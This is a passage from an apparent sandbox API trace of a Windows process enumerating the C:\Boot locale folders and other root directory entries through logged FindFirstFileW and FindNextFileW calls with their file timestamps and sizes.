ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.089] GetLastError () returned 0x12 [0050.089] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.089] FindClose (in: hFindFile=0x4d41a8 | out: hFindFile=0x4d41a8) returned 1 [0050.089] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0050.089] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0050.089] GetLastError () returned 0x12 [0050.089] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*" (normalized: "c:\\boot\\pt-pt\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d41a8 [0050.089] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.089] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.089] GetLastError () returned 0x12 [0050.090] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.090] FindClose (in: hFindFile=0x4d41a8 | out: hFindFile=0x4d41a8) returned 1 [0050.090] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0050.090] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0050.090] GetLastError () returned 0x12 [0050.090] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*" (normalized: "c:\\boot\\ru-ru\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d41f8 [0050.093] FindNextFileW (in: hFindFile=0x4d41f8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.093] FindNextFileW (in: hFindFile=0x4d41f8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.093] GetLastError () returned 0x12 [0050.093] FindNextFileW (in: hFindFile=0x4d41f8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.093] FindClose (in: hFindFile=0x4d41f8 | out: hFindFile=0x4d41f8) returned 1 [0050.093] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0050.093] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0050.094] GetLastError () returned 0x12 [0050.094] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*" (normalized: "c:\\boot\\sv-se\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d41f8 [0050.094] FindNextFileW (in: hFindFile=0x4d41f8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.094] FindNextFileW (in: hFindFile=0x4d41f8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.094] GetLastError () returned 0x12 [0050.094] FindNextFileW (in: hFindFile=0x4d41f8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.094] FindClose (in: hFindFile=0x4d41f8 | out: hFindFile=0x4d41f8) returned 1 [0050.094] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0050.094] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0050.094] GetLastError () returned 0x12 [0050.094] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*" (normalized: "c:\\boot\\tr-tr\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d41a8 [0050.103] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.103] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.103] GetLastError () returned 0x12 [0050.103] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.104] FindClose (in: hFindFile=0x4d41a8 | out: hFindFile=0x4d41a8) returned 1 [0050.105] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0050.105] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0050.105] GetLastError () returned 0x12 [0050.105] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*" (normalized: "c:\\boot\\zh-cn\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d41a8 [0050.105] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.105] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.105] GetLastError () returned 0x12 [0050.105] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.105] FindClose (in: hFindFile=0x4d41a8 | out: hFindFile=0x4d41a8) returned 1 [0050.105] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0050.105] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0050.106] GetLastError () returned 0x12 [0050.106] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*" (normalized: "c:\\boot\\zh-hk\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d41a8 [0050.106] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.106] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.107] GetLastError () returned 0x12 [0050.107] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.107] FindClose (in: hFindFile=0x4d41a8 | out: hFindFile=0x4d41a8) returned 1 [0050.107] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0050.107] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0050.107] GetLastError () returned 0x12 [0050.107] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*" (normalized: "c:\\boot\\zh-tw\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d41a8 [0050.107] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.107] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.107] GetLastError () returned 0x12 [0050.108] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.108] FindClose (in: hFindFile=0x4d41a8 | out: hFindFile=0x4d41a8) returned 1 [0050.108] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0050.108] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0050.108] FindClose (in: hFindFile=0x4c8c78 | out: hFindFile=0x4c8c78) returned 1 [0050.109] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a773a0 | out: hHeap=0xab0000) returned 1 [0050.109] FindNextFileW (in: hFindFile=0x4cbfe8, lpFindFileData=0x2caf674 | out: lpFindFileData=0x2caf674*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0050.110] GetLastError () returned 0x12 [0050.110] FindNextFileW (in: hFindFile=0x4cbfe8, lpFindFileData=0x2caf674 | out: lpFindFileData=0x2caf674*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0050.110] GetLastError () returned 0x12 [0050.110] FindNextFileW (in: hFindFile=0x4cbfe8, lpFindFileData=0x2caf674 | out: lpFindFileData=0x2caf674*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0050.110] GetLastError () returned 0x12 [0050.110] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Documents and Settings\\*" (normalized: "c:\\documents and settings\\*"), lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-TW", cAlternateFileName="豈ˊ玘ʦ\\\\?\\玦ʦˊ㧈¸\x08\x01玠ʦ")) returned 0xffffffff [0050.110] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a773a0 | out: 